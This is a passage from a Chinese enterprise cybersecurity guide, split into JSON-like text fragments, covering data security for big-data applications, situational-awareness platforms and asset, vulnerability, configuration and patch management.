大数据环境规模大，数据多样，业务连续性高并且用户群巨大，数据资源不是完全由数据所有者控制，目前缺乏有效的方法对大数据所有的数据访问行为进行安全控制，无法同时实现细粒度、可伸缩性、数据机密性的访问控制。 9.1.2 传统的数据安全存在的问题 ● 数据的流动性使安全防护困难 数据正在成为组织中重要的生产资料，并且会在流动、交换的过程中创造新的价值。 传统的数据安全防护措施更多针对静态的数据，无法满足流动数据的保护需求。 由于数据的流动性这一特点，要求数据无论到达哪里，都必须具有相同等级的风险应对能力，否则将因为短板效应而导致该防护体系失效。"},
    {"text": "在数字化时代，数据存储与传统数据库和文件服务系统存储不同的是，企业级大数据在来源、种类、格式、数量和敏感性上差别很大，使用的场景各有特点，安全要求各有不同。"},
    {"text": "● 数据种类繁多，传统方案难以开展数据分类分级 在数字化业务环境下，数据来源非常庞杂，数据种类至少包括内部业务系统数据、外部机构数据、互联网数据等，这为数据的分类分级工作带来了巨大挑战。 从各种渠道和来源收集上来的数据格式千差万别，如何对这些不同格式的数据进行归一化处理，不仅是数据分类分级工作的基础，也是大数据平台数据共享开放与分析挖掘的前提。 ● 单一安全产品难以满足复杂应用场景下的数据安全要求 传统的数据安全机制通常是围绕着办公环境、小型数据中心开展的，数据资产规模小、种类少、结构单一，强调存储加密、脱敏、审计，数据安全体系不完整，难以满足大数据应用场景下的数据动态安全防护。 ● 缺乏数据的识别与管控，难以开展有效的数据安全管理 企业积累了大量的生产、经营和企业管理数据，这些数据体量大、维度多，而且数据与数据之间的联系有强有弱。"},
    {"text": "传统方案缺乏对敏感数据的识别能力。 传统地依靠人工参与并结合自动化技术来识别敏感数据的方式，已经完全无法满足当前在时间和效果方面的需求。"},
    {"text": "● 访问控制力度不足，缺乏精细化数据访问控制能力 在大数据场景下，数据从多个渠道大量汇聚，数据类型、用户角色和应用需求更加多样化，多源数据的大量汇聚增加了访问控制策略制定及授权管理的难度，导致过度授权和授权不足现象严重。 同时，传统访问控制方案中往往采用基于角色的访问控制，缺乏基于属性的访问控制能力，且针对用户的权限策略相对固定，无法根据主客体的风险情况动态调整访问控制策略，导致无法为用户准确指定其可以访问的数据范围，难以满足最小授权原则。"},
    {"text": "9.2 什么是面向大数据应用的数据安全防护 9.2.1 基本概念 大数据促使数据生命周期由传统的单链条形态逐渐演变成为复杂的多链条形态，增加了共享、交易等环节，且数据应用场景和参与角色愈加多样化。"},
    {"text": "在复杂的应用环境下，保证国家重要数据、企业机密数据以及用户个人隐私数据等敏感数据不发生外泄，是数据安全的首要需求。 对海量、多源、异构的大数据进行安全管理是一项复杂的系统工程，大数据的采集、传输、存储、使用，都面临诸多安全挑战，包括海量数据收集过程中数据真实性难以得到保证；"},
    {"text": "● 围绕场景，贴合业务 围绕数据应用场景，进行针对性的数据安全风险分析，将数据安全管控措施落实到业务处理流程中。 ● 覆盖周期，满足合规 结合组织业务实际，识别需要遵从的国家、行业数据安全标准，满足数据安全管理的合规要求。"},
    {"text": "1.数据安全治理 数据安全治理包含数据资产梳理、数据分类分级以及权限策略梳理。 在数据安全治理过程中，可以通过数据静态梳理技术、动态梳理技术、数据状况的可视化呈现技术，根据数据资产的数据价值和特征等对核心数据资产进行梳理，再按照数据来源、数据属性、数据重要性、内容敏感级别，对数据资产进行分类分级，根据数据的不同类别与不同级别，对数据的访问权限进行梳理。 图9.1 面向大数据应用的数据安全防护架构图 2.数据安全管理及风险分析 数据安全管理通过数据流转实时监测服务，追踪敏感数据的流转情况，可以对数据泄露事件进行监测与溯源。 结合数据分类分级，并通过安全基础设施的安全工具和人工手段，对数据安全进行多种方式的脆弱性评估，对数据安全风险进行分析。 根据分析结果，采用数据授权与鉴权、数据加密、数据操作审计、运维和测试数据脱敏等策略，防止在数据全生命周期中出现数据安全事件。 3.数据安全防护 ● 数据采集 为了确保数据采集阶段的安全性，需对采集源和采集设备进行注册登记，并对数据源采集设备进行身份识别和认证，防止采集虚假数据，并通过安全基础设施的密码计算服务，对数据进行签名和验签，防止身份抵赖。 ● 数据传输 为了确保数据传输过程中的安全性，需采用网络传输加密技术、加密传输协议、链路加密等加密技术保障数据在传输过程中的保密性，并采用密码技术或数据校验机制，保证数据在传输过程中的完整性。 ● 数据存储 为了确保数据存储的安全性，可通过不同加密技术来保障存储数据的安全性。 加密方式包括硬盘加密、文件加密以及数据库加密。 硬盘加密可保证物理环境被入侵的情况下，数据不会泄露。 文件加密可保证操作系统级别被入侵的情况下，数据不会泄露。 数据库加密可通过多种方式对数据库中的数据进行加密，保证数据库被入侵的情况下，数据不会泄露。"},
    {"text": "● 数据运营 在数据运营及运维安全方面，可通过对运维及运营人员的操作进行监控及审计，通过限制访问敏感数据、访问途径等方式，保障数据安全。 对于运维及运营人员来说，限制其仅可通过虚拟桌面的方式对数据进行访问，并对其操作行为进行监控及安全审计。"},
    {"text": "当运维人员及运营人员需使用特权用户时，应通过特权操作管理规范，进行事前审批、事中监测、事后审计的方式进行管理，以防止发生数据安全事件。"},
    {"text": "● 共享开放 数据开放层面的安全主要关注开放数据安全、跨安全域安全以及相关接口访问安全。 在数据开放内容方面，数据安全开放技术提供可控的智能数据分析环境，支持数据源全量数据的挖掘，在保障数据不流出各自数据中心的前提下，实现融合分析，再通过访问接口方式，结合细粒度的访问控制，提供分析数据。"},
    {"text": "● 数据使用 在数据使用安全层面，应通过严格的访问控制策略、数据保护技术、行为审计技术以及泄露防护技术等，保障数据的使用安全。 在访问控制策略方面，通过统一的用户管理、权限管理服务，对应用访问、数据库访问以及接口访问方式提供认证管理及权限管理服务。"},
    {"text": "对数据操作以及应用服务与接口服务行为进行审计，根据预置规则或语义分析，发现并记录异常数据操作行为、高危操作行为、敏感数据操作行为。"},
    {"text": "针对终端使用数据的行为，可通过终端数据泄露防护服务，通过对终端用户行为审计、终端行为审计、应用程序管理、系统安全策略来防止重要数据泄露，保证数据安全。"},
    {"text": "物理销毁方式分为介质消磁技术或介质损毁方式。 介质消磁技术是使磁化后的材料磁性减弱或消失，保证数据被安全销毁。 介质损毁方式则是采用粉碎、烧毁或化学腐蚀等方式对物理介质进行销毁，保证数据被安全销毁。 对于不能以物理销毁方式的数据，可通过内容销毁方式进行销毁。 内容销毁方式可分为内容覆写、密钥删除等方式。 通过数据覆写工具，根据目标内容的安全级别，确定覆写次数（覆写1次、3次或7次等），保证内容数据被安全销毁。 对加密数据，可通过删除密钥方式，对内容进行销毁处理。"},
    {"text": "对数据资产所在环境的风险状况进行梳理，并突破传统的核查手段仅对数据库的漏洞进行检查的局限，引入对整体安全状况的核查机制，包括相关安全配置、连接状况、人员变更状况、权限变更状况、代码变更状况等全方面的安全状况评估。"},
    {"text": "● 数据脱敏处理 通过静态脱敏技术，可以有效防止内部对隐私数据的滥用，防止隐私数据在未经脱敏的情况下从生产环境流出。 静态数据脱敏既能保护隐私数据，又能满足监管合规要求。 同时通过引入数据动态脱敏技术可以有效解决数据在展示层外泄的隐患，还可以避免对业务系统和数据库系统的改造。"},
    {"text": "● 数据访问控制 基于最小权限原则对数据的访问权限进行严格化管控。 通过账号管理和数据访问控制策略，管理员针对不同的业务情况分配不同的数据使用权限，实现细粒度的认证授权机制，最大程度地降低越权操作的可能，保证数据、用户权限的隔离和管控。"},
    {"text": "方案平台采用基于白名单机制的人机审核方式以及基于反隐私隐藏技术的智能深度审核方式，可严格审核得取走的结果是否夹带隐私数据，确保隐私数据不流出。"},
    {"text": "● 数据置换 针对结构化数据和文本类型等非结构化数据，使用自然语言处理（NLP）技术自动识别敏感实体，然后使用匿名化、格式保全加密等方法对敏感实体进行处理。"},
    {"text": "● 数据加密 数据安全防护的最后一道防线是数据加密，密钥管理与密码应用技术是保证数据加密与完整性、安全认证的前提。 组织应采用密码技术保证重要数据在传输和存储过程中的保密性，包括但不限于鉴别数据、重要业务数据和重要个人信息等； 应采用校验技术或密码技术保证重要数据在存储过程中的完整性，包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等。"},
    {"text": "根据数据的类别和密级制定不同的管理和使用原则，尽可能对数据做到有差别和针对性的防护，使得数据在适当的安全保护下自由流转。 ● 场景化防护 根据不同角色在不同场景下的数据使用需求，采用相应的数据安全管控措施。"},
    {"text": "● 全局化感知 避免“头痛医头，脚痛医脚”式的局部数据安全防护，全面监控数据流转过程的安全状态，形成全局数据风险视图，统一管理数据安全策略。"},
    {"text": "通过智能学习、内容指纹等方式识别敏感数据，建立数据资产台账，掌握敏感数据的分布、使用情况； 通过机器学习、内容指纹、数据字典等方式，对数据进行有效理解和分析，确定数据的类别和级别，对数据进行有差别和针对性的安全管理，实现数据在适当安全防护下的自由流转。 9.3.2 数据安全管理及风险分析 建设数据安全管理与风险分析平台，全面掌握数据流转过程中的安全状态，整体上掌握数据安全风险，统一管理数据安全策略。 9.3.3 数据安全建设要点 ● 终端数据安全防护 基于Windows内核文件驱动层的自动加解密机制，实现文件的透明加解密； 对终端数据的传输通道进行全面监控，防止数据通过终端泄露； 全面感知终端安全状态，为基于ABAC模型的动态访问控制提供数据支撑。 ● 运维管理场景下的数据安全防护 加强特权访问管理，基于零信任理念，采用ABAC访问控制模型，综合评估运维管理终端的安全状态、运维操作行为，动态调整运维管理权限策略，防止运维人员违规、越权、恶意操作。 ● 业务操作场景下的数据安全防护 加强应用系统、业务功能、API接口、数据层面的访问控制，基于零信任理念，采用ABAC访问控制模型，综合评估业务操作终端的安全状态、业务操作行为，动态调整业务访问权限策略，防止业务人员违规、越权、恶意操作。 ● 数据共享场景下的数据安全防护 建设数据安全隔离与交换系统、网络数据泄露防护系统，防止数据在对外交换过程中发生泄露。 ● 数据开放场景下的数据安全防护 通过“数据不动，应用动”的方式，将第三方数据应用程序部署在数据中心，使其仅返回分析统计结果，保证原始数据不流出数据中心，同时又能对外提供数据服务。 ● 生产转测试场景下的数据安全防护 建设数据脱敏系统，通过静态脱敏技术有效防止开发、测试人员对隐私数据的滥用，防止隐私数据在未经脱敏的情况下从生产环境中流出。 ● 面向数据采集场景的数据安全防护 建设采集设备认证系统，通过证书或设备固有特征识别设备的可信身份，确保数据源可靠。 ● 办公数据安全备份恢复 建设办公数据安全备份恢复平台，接收终端安全系统自动上传或用户手动上传的数据；"},
    {"text": "第10章 面向实战化的全局态势感知体系 10.1 数字化转型与业务发展的新要求 10.1.1 数字化转型对态势感知带来的挑战 随着数字化转型和业务发展的需要，政企机构将面临IT管理和网络安全方面的众多问题与挑战。"},
    {"text": "● 要实时感知业务运营的网络安全状态 在数字化转型过程中，大量政企机构会将业务从线下服务迁移为线上服务，每个业务的安全状态将直接影响到业务的可用性。"},
    {"text": "● 要持续提升网络安全体系防护水平 数字化转型势必会使政企机构的IT系统呈现多系统并行、系统类型多样的状态，比如私有云、公有云、传统IT系统将在很长的一段时间内在政企机构内部并行存在。"},
    {"text": "由于系统数量和类型的扩展，各种安全措施也会越来越多，这些安全措施很难都能够发挥其应有的作用，以及各种安全措施之间也难以互为补充，因此无法满足业务系统的安全防护要求。"},
    {"text": "● 要能够快速处置安全事件，减少信息安全事件对业务的影响 数字化转型使得政企业务和IT系统紧密关联，任何影响IT系统的事件都会影响政企业务。"},
    {"text": "因此政企需要建立以态势感知系统为技术支撑的安防体系，能够将潜在的安全威胁消除在萌芽中。 一旦发生安全事件，能通过态势感知能力及时发现、准确定位、快速处置。"},
    {"text": "10.1.2 传统态势感知建设问题与误区 ● 重管理而轻运营 部分传统态势感知在建设过程中往往聚焦于政企机构的安全管理及支撑流程建设，例如人员管理、流程管理、制度管理，甚至是考核管理。"},
    {"text": "这些管理类功能虽然能在协同工作、信息共享方面发挥作用，但因为其没有从安全的本质需求入手，导致它们往往并不能直接产生安全价值，无法有效地发现安全问题，无法帮助安全管理人员有效地解决问题。"},
    {"text": "● 有数据而无分析 传统态势感知一直都在建议采集各类安全数据用于支撑分析和溯源，但在实际的使用过程中，数据是否能够被有效分析是一个不得不额外关注的问题。 大量态势感知体系建设的失败案例中，往往都具有一个共同的特征，那就是数据存储消耗了大量资源，但并没有通过安全分析得到安全问题的线索。 实际上数据的采集范围和分析能力是相辅相成的，一个好的态势感知体系不仅需要各类安全数据，也需要强大的覆盖关联分析、机器学习、威胁情报等各类技术的威胁分析能力。 ● 重功能而轻效率 传统态势感知往往具有形形色色的功能，这本身无可厚非，但对政企机构来说，需要有效甄别这些功能是否能够有效地支撑安全工作，是否所有功能都能够帮助政企机构有效提升效率，此时功能的多少远远没有“功能适合”更为重要。 比如当一个政企机构的IT资产管理能力尚不完善时，即使其态势感知中包含主机资产、Web资产、服务资产等各类资产管理能力，对该政企机构来说可能未必有价值，而只是意味着更高的使用和维护成本。 ● 重建设而轻验证 近年来，态势感知经历了快速发展，不少政企机构已经建设完毕或正在建设当中。 伴随着态势感知的建设，很多政企机构内部的安全体系建设也在进行调整。"},
    {"text": "10.2 什么是面向实战化的全局态势感知体系 10.2.1 基本概念 面向实战化的全局态势感知体系是网络安全防护体系的“中枢”，能够全天候、全方位感知网络安全态势，增强网络安全防御能力和威慑能力。 为了保障业务安全有序运转，应该依托态势感知平台实现数据处理、安全分析、自动化响应、安全运行、指挥控制、态势呈现等多层次的安全能力，形成安全数据的汇聚中心、安全风险的持续监测和处置中心、安全体系有效性的验证中心、安全威胁的分析和发现中心、安全运营指挥中心。 10.2.2 设计思想 在数字化转型的挑战下，实战化态势感知的建设应坚持以下思路： ● 覆盖所有信息资产的全面实时安全监测和分析；"},
    {"text": "10.2.3 总体架构 一个相对完善的实战化态势感知平台应该具备以下能力，总体架构设计如图10.1所示。 ● 实战化态势感知平台能够全面接入各种安全相关的数据，并适配政企用户实际情况的安全情报进行自动化的数据分析和处理，以形成各种数据库。"},
    {"text": "图10.1 实战化态势感知平台能力架构图 10.2.4 关键技术/能力 态势感知的能力建设是一个完整、复杂的体系化建设过程，还需要考虑以下关键能力的应用与建设。"},
    {"text": "● 实战化安全运行 一支组织明确、技能合格的运行团队应该利用面向实战化支撑的态势感知平台，通过高效的安全运营流程和规程，既能通过日常的安全运行工作消除隐患，提升政企安全防护水平，又能从容应对安全事件。"},
    {"text": "● 可视化交互分析 具有对多源头、多维度数据进行综合分析并以可视化方式展现的能力。 通过可视化交互分析，分析人员可以进行高效的安全事件分析、研判、溯源、验证等。"},
    {"text": "● 安全编排与自动化响应 依靠编排的能力通过预定义的安全预案和剧本驱动各类安全设备和分析手法，并利用威胁情报快速响应和处置安全事件。"},
    {"text": "10.2.5 预期成效 ● IT系统自身更健壮 结合实际安全风险状态和威胁情报对系统安全的数据进行资产关联性分析、暴露面分析、失陷概率分析等，强化资产管理，推动漏洞和补丁管理系统配置加固，使得IT系统自身更加健壮（即加强系统自身的安全）。"},
    {"text": "● 威胁发现更及时 实战化态势感知应能够帮助企业有效提升新型威胁、未知威胁和各类内部威胁的检测能力，并缩短威胁事件实际发生时间和威胁被检测时间之间的差距，以尽可能减少企业的损失。 威胁情报的适配可以帮助企业更加准确及时地发现安全威胁。 ● 事件分析更高效 当安全问题发生后，运营人员可有效利用实战化态势感知中的各类技术，对安全事件做到更快速和更广泛的响应。"},
    {"text": "例如，直接调取各类系统的数据结合威胁情报进行分析，利用各种狩猎工具完成自动或半自动的信息检索和证据固化，利用时间线、攻击链、ATT&CK等各类方法对事件进行有效还原与溯源。"},
    {"text": "基于以上能力，实战化态势感知可以使安全事件的分析效率更高。 ● 安全问题的响应更快速 依靠实战化态势感知体系中的各类自动化、情报技术的应用，当企业面临重大安全问题时，可以依赖于原有的应急预案或响应剧本针对安全问题进行快速的响应和处置，可针对部分问题实现自动化分析、自动化封禁，从而极大地提高响应速度，避免问题影响进一步扩大。 ● 安全协同更顺畅 实战化态势感知中各类信息发布、研判、协同处置、通报和资源管理功能可以使企业中的安全部门更好地在信息同步、事件处置和应急响应中按照既定的方式与其他IT部门、管理部门、监管部门、合作部门进行沟通和协调。"},
    {"text": "10.3 面向实战化的全局态势感知体系建设要点 10.3.1 建设要点 在实战化态势感知体系框架的指引下，政企机构在建设态势感知时需要关注以下关键的建设要点。 其中实战化态势感知是体系的核心建设目标，必须在企业内部明确。"},
    {"text": "技术要点为实际建设中需要涉及的系统建设要点或关键技术，需要基于企业自身安全发展情况进行选择。 管理要点需要根据配套系统的建设情况和不同企业的自身IT管理情况酌情建设。"},
    {"text": "1.建设目标 建设全天候、全方位的安全态势感知平台，实现数据处理、安全分析、自动化响应、安全运行、指挥控制、态势呈现等多层次的安全能力，支撑实战化安全运行。"},
    {"text": "2.技术要点 ● 建立安全大数据 通过安全数据收集和处理系统，收集流量日志、流量告警、系统日志、应用日志、安全告警、漏洞信息、威胁情报、资产信息等安全数据，并能够对数据进行自动化的分析处理，形成不同的数据库，并以标准接口的形式提供数据服务。 ● 建设安全分析能力 建设安全分析能力，以统计、聚类、时序、线性、耦合等分析引擎为基础，实现基于资产脆弱性和暴露面的基础架构安全实时监测分析，自动化模拟各种最新的攻击手法，以持续整体验证全网安全架构和安全策略的有效性并持续进行优化，快速分析安全威胁，处置安全事件，主动安全狩猎以发现潜在安全威胁。 ● 建设可视化分析能力 使用可视化交互分析系统，通过一维分析、二维分析、多维分析的各种分析图表以及拓线、钻取等交互式分析方法，安全运行人员能够对安全事件快速分类、定位、处置决策、溯源，安全猎杀人员也能够更有效地发现潜在未知威胁。 ● 利用威胁情报 通过多源威胁情报处理系统，收集多维度、多来源威胁情报，并对情报数据进行清洗、融合、分析、冲突处理、验证，以给出前瞻性预测和决断依据，保障输出情报的准确性和及时性，并适配至数据处理、数据分析、安全运行的各个环节。"},
    {"text": "● 建立自动化编排能力 针对可预定义、可重复执行的分析和处置操作，建设安全预案和安全剧本，通过自动化编排引擎使得安全运行人员能更加高效准确地完成安全事件的分析、处理和处置工作。"},
    {"text": "3.管理要点 ● 明确人员职责并建立安全运行流程 建设安全运行流程化的能力，覆盖风险管理流程、模拟攻击与纵深防御策略优化流程、安全事件处理流程、威胁猎杀流程、情报处理流程等，实现可视化交互分析研判与自动化处置，保证所有安全运行任务的闭环处理。 ● 建立指挥控制与统筹管控机制 利用指挥控制系统，对安全事件的处理进行跨部门协调、资源管理、会商组织、预警通报和预案的管理。 ● 建立安全态势监控与展现能力 开发态势展现大屏，以图形化的方式直观展示综合态势、各种预定义的主题态势、资产态势、攻击态势等。 10.3.2 建设流程 1.建设节奏与建议 在实际建设中，不同的政企机构需要考虑使用适合自身发展的演进路线来建立实战化态势感知体系，避免出现“一刀切”全部上马建设的情况。"},
    {"text": "例如，政企机构在安全运营早期仅能解决网络安全问题，此时可以主要考虑采集网络安全设备日志或网络流量数据，当政企机构有精力和有能力推动基于主机的威胁检测和响应时，可以再考虑接入服务器日志或终端行为日志。"},
    {"text": "● 在体系建设中，运营团队的能力建设尤为关键，可以考虑早期以安全公司的运营服务作为支撑，同时逐步建立良好的团队文化，培养政企机构自身的运营能力，后期逐步与安全公司形成互补和配合工作的方式。"},
    {"text": "所以在态势体系建设初期，需要对政企机构IT管理的现状有相对清晰的认识和了解，针对IT治理的成熟度制定态势体系的演进路线，并寻找与IT部门或业务部门的共同目标，甚至是寻找上层决策依据来推动响应处置和管理方面的系统建设。"},
    {"text": "● 外部系统的对接与管理 实战化态势感知需要依赖大量的对接来实现自动化运营，而这些对接在带来便利的同时，也会带来管理上的困难和风险。"},
    {"text": "● 合理的安全建设度量 整套态势体系相当庞大，需要长期持续的资金投入才会提升安全效果，这有别于传统的合规采购——采购之后可以短期内快速应对检查。 此时政企机构的安全管理人员需要在体系建设早期明确如何度量体系效果，需要围绕安全建设目标来设计度量方案，围绕度量方案建立团队的绩效管理机制和团队文化，如此才能保证体系建设成果可汇报，投入可持续。"},
    {"text": "3.建立实战化态势感知体系是一个长期过程 由于不同政企机构有其自身的安全运营成熟度，与其配套的态势感知建设也需要符合其自身安全建设发展的需要，所以不应该在建设初期追求一步到位，而应该将整个态势感知体系的建设作为长期工作，优先确定符合企业自身需求的成熟度，将一个宏大目标切分为多个阶段性目标来实现。"},
    {"text": "同时，体系建设过程中需要对人员团队的能力进行建设，需要建立大量配套流程，这些工作往往受限于培养的周期和各个政企机构内部的管理情况，因此只能逐步开展，无法一步到位。"},
    {"text": "第11章 面向资产/漏洞/配置/补丁的系统安全 11.1 数字化转型与业务发展的新要求 11.1.1 数字化发展带来的挑战 数字技术将政企机构的业务运营和管理流程融合到一起，形成了新的业务运营模式，显著提升了业务运营效率和效益。"},
    {"text": "2016年4月19日，国家领导人在网络安全和信息化工作座谈会上明确指出：“维护网络安全，首先要知道风险在哪里，是什么样的风险，什么时候发生风险，正所谓‘聪者听于无声，明者见于未形’。"},
    {"text": "随着国家对网络安全的重视程度逐渐增加以及各种检查的常态化，从诸多实践中我们不难发现，尽管系统安全是一项业内各政企机构已经进行了十多年的常态性基本运维工作，但实际上该工作却从未真正做扎实。"},
    {"text": "与此同时，如今数字业务都运行在数据中心服务器、云或容器环境中，IT和安全运营团队都承受着巨大的压力，政企机构往往要求花更少的钱做更多的事，同时又要确保安全地运行。"},
    {"text": "但据自动化技术公司SaltStack发布的《2020年第二季度XOps状态报告》显示，仅54%的安全主管表示，他们与IT专业人员能够进行有效的沟通，45%的IT专业人员对此表示同意。"},
    {"text": "当前大多数政企机构普遍存在资产不清、漏洞分布不明、系统未按合规要求进行加固、漏洞修复不及时、基础安全运行流程不闭环、缺乏一体化平台工具支撑等问题，无法有效应对和满足日益复杂的网络环境以及国家护网常态化等实战性需求。"},
    {"text": "大多数机构都引入了外界情报数据，也添置了绚丽的展示屏，然而，没有基础安全能力，这些高精尖技术并不能发挥出应有的效果，相关问题已在多次安全演练中暴露。"},
    {"text": "● 当前业内的系统安全建设方案普遍采取单一产品的功能类方案，即通过产品功能实现资产发现、漏洞预警等能力。 然而，对于政企机构的“系统工程类”需求，通过单产品则无法真正解决问题，仍然存在大量资产不清、漏洞不明且未设置合理闭环机制等问题。"},
    {"text": "系统安全是一个体系化建设工程，虽然通过自动化手段能够发现资产，但核实资产、补足属性、设计合理的闭环流程等工作则需要通过“服务”完成，当前却普遍与“服务”脱节。 11.2 什么是面向资产/漏洞/配置/补丁的系统安全 11.2.1 基本概念 面向资产/漏洞/配置/补丁的系统安全是一套体系化综合运营服务方案，它以内生安全为核心理念，集合多种产品能力，通过专职系统安全人员的运营而形成以资产和风险为核心的企业资产安全管理系统，以“工具平台+人员运营服务”的模式进行交付，旨在解决企业和机构安全防护中的基础设施安全管理挑战，把基础安全工作从定期检查模式转变为可持续验证模式，切实提高客户从资产完整性到漏洞修复的闭环的安全运营服务。 系统安全服务方案涵盖了资产梳理、漏洞管理、配置核查以及补丁运营等多种服务，基于数据驱动技术建立系统安全的大数据分析平台，并以该平台为数据分析能力的支撑点，通过“工具平台+人员运营服务”的模式，补齐资产属性，通过CNNVD、CVE等多源情报数据碰撞，分析得出资产漏洞优先处置顺序，并结合工单系统流程实现闭环管理，有效地提升客户基础安全运营能力。"},
    {"text": "11.2.2 设计思想 网络安全始于资产发现，企业应当清点所有软硬件资产，并进一步将工作重点转移到最重要的基于资产管理的安全配置管理环节。"},
    {"text": "系统安全遵循SCM的理念，并强调全面打通以资产、配置、漏洞、补丁为核心的4大流程，如图11.1所示。 图11.1 SCM生命周期图 通过安全内容管理、策略符合性分析、资产配置态势感知、风险控制等运行能力，可对所有资产（包括固定资产、虚拟化资产、移动设备等）进行资产发现、持续监控、风险削减，以确保系统安全。"},
    {"text": "11.2.3 总体架构 系统安全是信息化、数字化安全建设的基础和关键，企业应建设和发展以数据驱动的系统安全运行体系，夯实业务系统安全基础，保障IT及业务有序运行。 系统安全的核心目标是建设数据驱动的系统安全运行体系，如图11.2所示。 系统安全运行体系平台通过数据接口和控制接口进行同步，获取经过融合的资产信息、安全配置信息、漏扫及主机加固等多维度的漏洞信息、广义补丁等信息。 经过汇集的资产/配置/漏洞/补丁等数据信息将在系统安全运行体系平台进行处理，并实现数据的两两关联分析，如“资产+配置”“资产+补丁”“资产+漏洞”及“资产+补丁+配置”等，以最大化获取并展示资产的系统及管理属性、资产配置信息、资产当前的漏洞及补丁状态等，从而指引系统安全的运行过程，对符合性评估、安全策略管理及修复管理等进行系统安全风险管理。 同时与态势感知平台、内部威胁感知平台、终端管理及情报运营平台等进行有效联动，从而实现四大流程闭环的价值最大化，最终将系统安全防护从依靠自发自觉的模式提升到体系化支撑模式，实现及时、准确、可持续的系统安全防护。 图11.2 数据驱动的系统安全运行体系 11.2.4 关键技术 要实现系统安全运行的有效闭环，需要多维度多层次的技术能力来配合实现。"},
    {"text": "主动感知可对所有在线设备进行网络扫描和深入识别，获取终端的网络地址、系统指纹、资产指纹、开放端口和服务等，并根据积累和运营的指纹库确定每个终端的类型、操作系统、厂商信息。"},
    {"text": "采取结构化、标准化和组织化的方式来处理漏洞数据，能够有效降低来自多源数据40%以上的数据量，同时根据漏洞具有的特征整合威胁情报并评估情报信息，解决宏观分析的问题。"},
    {"text": "● 配置核查关键技术 建立丰富的配置核查知识库、命令行库，使其覆盖市面上大部分设备，且支持自定义的核查项编写，能根据特殊设备情况编写适用的命令行，获取设备配置信息。"},
    {"text": "广义补丁的目标是通过合理化手段降低企业系统风险，提升系统的整体安全，并非千篇一律地使用“打补丁”方式，而是根据情况不同，酌情选择使用虚拟补丁、访问控制列表、身份验证、资产下线等多种手段。"},
    {"text": "● 数据整合关键技术 应做好系统安全基础数据的采集、发现、分析，从系统安全管理视角出发，最终将资产数据、资产与漏洞情报数据的关联情况，以及资产存在的不安全配置项这类基础数据，通过集中管控可视化平台进行统一管理、展示，并根据已有的管理制度进行线上处置流程的协同配合与跟踪反馈。"},
    {"text": "11.2.5 预期成效 在系统安全领域中，随着大数据、人工智能等先进技术在安全领域的不断应用，资产管理、漏洞管理、配置管理、补丁管理的自动化和智能化在不断提高，传统的、被动的、粗粒度的系统安全技术体系将被逐渐替代，系统安全将为政企机构实现以下目标。 ● 建成数据驱动的系统安全运行体系 通过聚合IT资产、漏洞、补丁、配置等数据，将系统安全防护从依靠单产品或人工模式提升到依靠“工具平台+人员运营服务”体系化支撑的模式，实现及时、准确、可持续的系统安全防护。 ● 规范化漏洞验证 通过漏洞数据与资产数据的实时碰撞、比对、分析，完成安全风险等级排序，明确漏洞修复优先级，改变以往系统安全体系中完全依靠人工进行逐条漏洞验证的工作方法，减少安全部门、运维部门的工作量，从而提升系统安全的日常工作效率。 ● 持续达到合规要求 通过建设系统安全运行体系，分别从系统安全技术与系统安全管理这两方面完善基础支撑工作，落实《信息安全技术 网络安全等级保护基本要求》中对资产管理的相关要求，为接下来每一步的网络安全建设夯实基础。 ● 四大流程实现闭环 改变政企机构长期以来资产查不清、漏洞找不准、补丁修复不及时、系统长期未按要求加固而导致的四大流程不闭环现状，通过一体化平台工具的支撑，确保系统安全风险总体可控，保持良好的安全状况，为实战化安全运营提供支撑，实现系统级安全运行的闭环。 11.3 面向资产/漏洞/配置/补丁的系统安全建设要点 11.3.1 建设流程 面向资产/漏洞/配置/补丁四大流程的系统安全是企业信息化建设的基础和关键，企业应着眼于建设能经受实战考验的安全能力，从多维度全景视角出发，改变以往从具体的攻防技术、日志分析或事件处置等事件出发的就事论事、就安全论安全的传统思维习惯，转变成从企业视角、数字化视角、信息安全的全景视角出发进行实战化安全能力的建设，并在建设过程中根据每个企业自身的特点，结合所在行业的属性，充分地与企业的信息化环境进行融合覆盖，使信息化环境自身从规划建设阶段就已具备免疫力和安全属性，并能够随数字化一起发展并结合落地。 具体落实到系统安全建设本身，基础架构安全运行应围绕以资产为主线的资产运维、漏洞管理、配置基线管理以及补丁管理等常态化安全运行活动，接受来自积极防御运行活动中的安全加固指令，并依据威胁情报运行活动中的加固方法对企业的关键资产进行加固，从企业的领导层发起并着手梳理IT运营部门、安全运营部门以及业务应用部门等各团队之间的业务流程，理清并定义好各部门的责权分工，充分利用企业现有的资产管理系统，并发挥业务流程系统的优势，对信息和业务流程进行融合和优化，最终以实现四大流程的闭环为目标进行系统安全的能力建设。 11.3.2 建设要点 要落实系统安全在企业中的建设，应首先应根据企业自身实际情况灵活定制，量体裁衣，同时也需注意遵循一定的关键步骤，各分项执行重点如图11.3所示。 图11.3 系统安全方案架构设计图 1.测试验证环境搭建（参见图11.3左下方“测试环境”部分） 在企业内部搭建与生产环境高度相仿的测试环境，对各种设备、系统镜像模板和业务环境中的预置安全配置项、漏洞验证措施、修复或加固措施进行测试验证，开展补丁测试、镜像测试、配置项测试、业务应用回归测试，提高漏洞修复与配置变更工作的有效性、稳定性和确定性。 2.构建资产安全管理系统 ● 多源丰富的数据源（参见图11.3中部下方 “资产探查”部分） 建设面向企业IT服务的资产管理系统，通过基于网络的主动扫描、基于流量的被动扫描、主机代理、CMDB（Configuration Management Database，配置管理数据库）等多源导入方式，获取终端、主机、中间件、数据库等资产属性信息，继而对资产信息进行统一的标准化处理，最终形成企业资产管理数据库，实现完整资产的全量覆盖，并实现未备案资产违规上线的快速发现。"},
    {"text": "在此过程中，应充分利用各种数据导入方式的特点并发挥其各自的优势，以实现最大程度的自动化和属性粒度的细化，为后续人工补足资产属性降低难度和减少工作量。"},
    {"text": "● 与企业现有系统集成（参见图11.3右方中部 “信息补全”部分） 系统安全平台应与政企机构现有的CMDB、HR（Human Resource，人力资源）、PMS（Project Management System，项目管理系统）等系统集成，以获取资产的所属业务、责任人、归属部门、重要程度等资产管理属性信息，并结合后期的人工运营梳理工作，切实补全遗漏的系统属性和管理属性。 通过资产的属性信息补全夯实，为系统安全后续的漏洞信息适配、系统安全风险分析、整改责任落实提供坚实的基础。"},
    {"text": "3.构建系统安全配置管理体系（参见图11.3中部“资产与安全配置管理”部分） ● 验证配置有效性 在测试环境中验证配置方案的有效性继而进一步发布和推广，明确系统安全配置项。"},
